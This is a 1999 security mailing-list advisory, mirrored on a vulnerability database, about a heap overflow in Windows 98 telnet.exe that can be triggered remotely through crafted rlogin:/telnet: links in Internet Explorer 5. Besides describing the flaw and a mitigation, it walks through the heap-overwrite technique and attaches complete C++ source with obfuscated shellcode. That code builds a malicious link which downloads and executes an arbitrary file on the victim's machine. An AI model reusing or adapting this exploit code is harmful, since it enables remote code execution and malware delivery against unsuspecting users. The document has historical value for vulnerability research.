Lucene search
+L

telnet_heap_exploit.txt

🗓️ 22 Sep 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Windows 98 Telnet heap overflow allows remote code execution via Internet Explorer 5 exploit.

Code
`Subject: telnet.exe heap overflow - remotely exploitable  
To: [email protected]   
  
  
Heap Overflow in windows 98 Telnet.exe - remote via IE5  
------------------------------------------------------------  
Jeremy Kothe ([email protected] or [email protected])  
  
  
More fun and games courtesy of Microsoft (c:)...  
  
  
Telnet.exe - (77824 bytes, 11th May 98)  
---------------------------------------  
This version of Telnet (which ships as part of Windows 98)  
has a bug which allows a heap overrun. It assumes  
that the first command-line argument will be <255 chars  
when preparing for the "Connect Failed" message-box. The  
result is that a few crucial bytes can be written over,  
which, as the telnet app is closing, allow full execution  
of arbitrary code. See below for full details...  
  
  
This is still all local, though, so let's skip to the  
REMOTE part.  
  
  
IE 5.00.2314.1003/5.00.2314.1003IC  
----------------------------------  
Internet Explorer automatically invokes telnet when given  
an "rlogin:", "telnet:" or "tn3270:" protocol URL. Earlier  
versions of IE which I experimented with had comparitively  
tight restrictions on the format of the url, only allowing  
two parameters through (two zeros to you and me ;) As it  
turns out, this is not enough (for me) to exploit the bug.  
But with the versions named above, which as of writing  
include the latest version Microsoft would let me  
download, the restrictions seem to have been lifted. I can  
only assume that this is either unintentional, or that  
tn3270 or telnet applications have been found which makes  
this desirable... Whatever! The end result is that it  
seems the most recent versions of IE 5 will faithfully  
pass any collection of parameters up to about 460 chars  
into telnet.exe.  
  
  
Systems at risk  
---------------  
Windows 98 default installation with SOME versions of IE5.  
If you click on a link, or are refreshed to a link, then  
see telnet.exe pop-up, complaining that it can't connect  
to a garbage-type address, DO NOT close the telnet  
executable. Instead, either forcefully terminate the  
process, or reboot. The exploit does NOT take effect until  
telnet.exe is closing.  
  
  
Solution  
--------  
Either remove telnet.exe from the path, so IE cannot launch  
it, or get a copy of the WinNT telnet.exe.  
  
  
Exploit - introduction  
----------------------  
Heap overruns are not for the faint of heart. If you have  
trouble following stack overrun exploits, turn back now -  
or go and learn, then come back.  
  
  
With a stack overflow, getting the machine to execute into  
our buffer is relatively easy. We have, after all,  
overwritten the function return address. Point this  
(indirectly or not) at the esp and you're in business.  
Without this benefit, we have a much tougher time  
exploiting the overrun. In fact it is entirely possible  
that no exploit is possible.  
  
  
It all depends on what follows our buffer in memory.  
  
  
The best candidates for overwriting are pointers. If we can  
overwrite one which the program subsequently uses, we have  
a chance to make something happen.  
  
  
The trick is to ignore what the program is trying to do,  
and to look at what it's doing.  
  
  
One core idea I've found to be of value is this: One way to  
get execution onto the stack is to find a way to manipulate  
our uncorrupted stack. Often you will find a pointer to the  
stack (or command-line) somewhere not far from the top (of  
the stack). If it can be moved only a few bytes, or we can  
conspire to pop more than we push, we can then return to  
our buffer.  
  
  
Exploit - Intermediate - (Tools: SoftICE/IDA/PSEDIT)  
----------------------------------------------------  
The overrun we are presented with is only a handfull of  
bytes, just enough to overwrite one pointer value following  
the buffer in memory. This pointer, as it turns out,  
originally points to an array of 1024 pointers, which are  
either NULL, or point in turn to a 16-byte structure. From  
context this seems to be a file-handle table of sorts.  
  
  
When I examined the routine (fflush) where we end up  
referencing the pointer, it turns out that the code  
iterates thru the 1024 pointers, and for each non-NULL  
entry, it examines and conditionally changes the 16 byte  
structure pointed to. It is the change we are interested  
in.  
  
  
If the structure is represented as:  
DWORD dw1, dw2, dw3  
  
  
then the effect of the change is:  
dw1 = dw3  
dw2 = 0  
  
  
Whilst examining various locations in memory where out  
exploit string ends up (there are a couple, as the  
command-line get passed, then parsed), I found one where  
the following 4k was allocated and 99% zeros.  
  
  
I also found at the top of the stack, about 12 bytes back,  
a pointer to our exploit string (WinMain lpCmdLine anyone),  
which was ripe to be copied down 8-bytes to overwrite a  
return address.  
  
  
Now ideally, if the memory I found was all blank, all I'd  
need to do would be to arrange for the trailing bytes of my  
exploit string to point to the appropriate place on the  
stack. This last DWORD, followed by 1024 DWORD zeros, would  
serve as a faux handle table which would overwrite a return  
address with a pointer to our exploit.  
  
  
Are you with me... If not, go back now.  
  
  
In the actual case I found there were indeed 1024 zeros,  
but there was also one non-zero DWORD directly after my  
exploit and before the zeros. I needed to remove these  
values for the table to not crash... so I used the same  
technique over again to remove it - adding another entry at  
the top of our table pointing to the offending location  
neatly removes it, then the second entry does the actual  
work, and the rest of the table is empty.  
  
  
Done. Complete. Works.  
  
  
Exploit Attached  
----------------  
I have worked out an exploit which downloads and runs an  
arbitrary file, and have included the source for a Visual  
C++ program to create a binary file containing the exploit  
as a link. Add (for example) an html header and footer, and  
you have it.  
  
  
Notes: The exploit uses URLDownloadToCacheFile and WinExec.  
Disassembling the binary file will show you the code  
(strings have been xor'ed with 0xFADE).  
Any comments on the exploit code would be appreciated.  
  
  
------------------------------------------------------------  
#include <stdio.h>  
#include <afx.h>  
#include <windows.h>  
  
  
  
void Usage( void ) {  
printf( "Usage: exfact url(40) outfile\n" );  
}  
  
  
#define URL_OFFSET 48  
  
  
unsigned char aSploit[] = {  
0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33,  
0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2,  
0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE,  
0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2,  
0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD,  
0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE,  
0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0,  
0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF,  
0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE,  
0x92, 0xec, 0xc0, 0x9b, 0xb2, 0x66, 0x33, 0x53,  
0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE,  
0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE,  
0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B,  
0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66,  
0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0,  
0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33,  
0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07, 0x66, 0x35,  
0xDE, 0xFA, 0x66, 0x89, 0x07, 0x83, 0xC7, 0x02,  
0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1,  
0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04,  
0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B,  
0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83,  
0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8,  
0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF,  
0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0,  
0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B,  
0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51,  
0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33,  
0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74,  
0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,  
0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56,  
0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,  
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56,  
};  
  
  
  
int main( int argc, char *argv[] ) {  
  
  
if( argc == 3 ) {  
DWORD dwURLlen = strlen( argv[ 1 ] )+1;  
if( dwURLlen < 40 ) {  
HANDLE h = CreateFile(  
argv[ 2 ],  
GENERIC_WRITE,  
0,  
NULL,  
CREATE_ALWAYS,  
0,  
0 );  
  
  
if ( h == INVALID_HANDLE_VALUE ) {  
printf( "Error creating %s\n", argv[ 2 ] );  
return( 0 );  
}  
  
  
DWORD dwWrit = 0;  
if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) ||  
( dwWrit != URL_OFFSET ) )  
goto writeerr;  
  
  
for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 )  
*PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use  
htons?  
*PWORD( p ) ^= 0xdefa;  
  
  
if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) ||  
( dwWrit != dwURLlen ) )  
goto writeerr;  
  
  
DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen );  
if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite,  
&dwWrit, NULL ) || ( dwWrit != dwToWrite ) )  
goto writeerr;  
  
  
CloseHandle( h );  
  
  
return( 0 );  
}  
}  
  
  
Usage();  
return( 1 );  
  
  
writeerr:  
printf( "Error writing to %s\n", argv[ 2 ] );  
return( 2 );  
}  
  
  
------------------------------------------------------------  
  
  
P.S. Australian programmer with 19 years experience, C/++,  
Asm, Delphi, SQL, IP + more, looking for work overseas.  
  
  
Jeremy Kothe ([email protected] or [email protected])  
  
  
P.P.S. When exposing these type of exploits, it is usual  
for the coder to launch into a tirade about Microsoft and  
what terrible software it writes to allow these... I feel  
that these people are missing the point, though. Microsoft  
has risen (very successfully) to the challenge of providing  
a couple of GENERAL PURPOSE, incredibly extensive operating  
systems for PC's. Anyone who prefers Linux for it's  
stability etc. should consider the cost (to the average  
end-user) of such stability. Microsoft have concentrated  
on the commercial requirements of the corporate Joe, and  
have written the software people (not jellyheads) need. Of  
course it would be wonderful if Windows was as solid as  
secure as a unix installation, but it is simply not the  
highest priority for the average PC user.  
  
  
  
  
______________________________________________________  
Get Your Private, Free Email at http://www.hotmail.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Sep 1999 00:00Current
0.1Low risk
Vulners AI Score0.1
30